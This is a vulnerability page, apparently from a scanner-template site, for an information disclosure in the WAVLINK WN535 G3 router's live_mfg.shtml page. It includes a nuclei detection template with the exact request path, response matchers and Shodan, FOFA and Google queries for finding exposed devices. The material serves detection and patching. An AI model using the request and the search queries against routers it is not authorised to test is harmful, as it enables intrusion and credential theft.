WAVLINK WN535 G3 - Information Disclosure

highseverity

7.5CVSS score

7.4%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to information disclosure in the live_mfg.shtml page. An attacker can obtain sensitive router information via the exec cmd function and possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, such as router configuration settings and user credentials.

Fix

Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability.

How to confirm it

Send: GET {{BaseURL}}/live_mfg.shtml
Positive when: contains "Model=" and "DefaultIP=" and "LOGO1=" AND status 200

Run it with nuclei: nuclei -id CVE-2022-31846 -u <target>

The full check

id: CVE-2022-31846

info:
  name: WAVLINK WN535 G3 - Information Disclosure
  author: arafatansari
  severity: high
  description: |
    WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to information disclosure in the live_mfg.shtml page. An attacker can obtain sensitive router information via the exec cmd function and possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, such as router configuration settings and user credentials.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability.
  reference:
    - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN535%20G3__live_mfg.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30489
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31846
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-31846
    cwe-id: CWE-668
    epss-score: 0.07429
    epss-percentile: 0.94496
    cpe: cpe:2.3:o:wavlink:wn535g3_firmware:m35g3r.v5030.180927:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn535g3_firmware
    shodan-query:
      - http.html:"Wavlink"
      - http.html:"wavlink"
      - http.title:"wi-fi app login"
    fofa-query:
      - title="wi-fi app login"
      - body="wavlink"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,wavlink,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/live_mfg.shtml"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Model='
          - 'DefaultIP='
          - 'LOGO1='
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from